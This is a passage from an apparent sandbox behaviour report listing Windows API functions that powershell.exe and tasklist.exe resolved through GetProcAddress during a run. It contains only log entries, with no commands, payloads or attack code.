parameter GetUserPreferredUILanguages (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00008084) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00008084) "tasklist.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004512) "tasklist.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004512) "tasklist.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004512) "tasklist.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004512) "tasklist.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004512) "tasklist.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004512) "tasklist.exe" called "GetProcAddress" with a parameter WinStationFreeMemory (UID: 00000000-00004512) "tasklist.exe" called "GetProcAddress" with a parameter WinStationCloseServer (UID: 00000000-00004512) "tasklist.exe" called "GetProcAddress" with a parameter WinStationOpenServerW (UID: 00000000-00004512) "tasklist.exe" called "GetProcAddress" with a parameter WinStationFreeGAPMemory (UID: 00000000-00004512) "tasklist.exe" called "GetProcAddress" with a parameter WinStationGetAllProcesses (UID: 00000000-00004512) "tasklist.exe" called "GetProcAddress" with a parameter WinStationNameFromLogonIdW (UID: 00000000-00004512) "tasklist.exe" called "GetProcAddress" with a parameter WinStationEnumerateProcesses (UID: 00000000-00004512) "tasklist.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004512) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00006552) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken 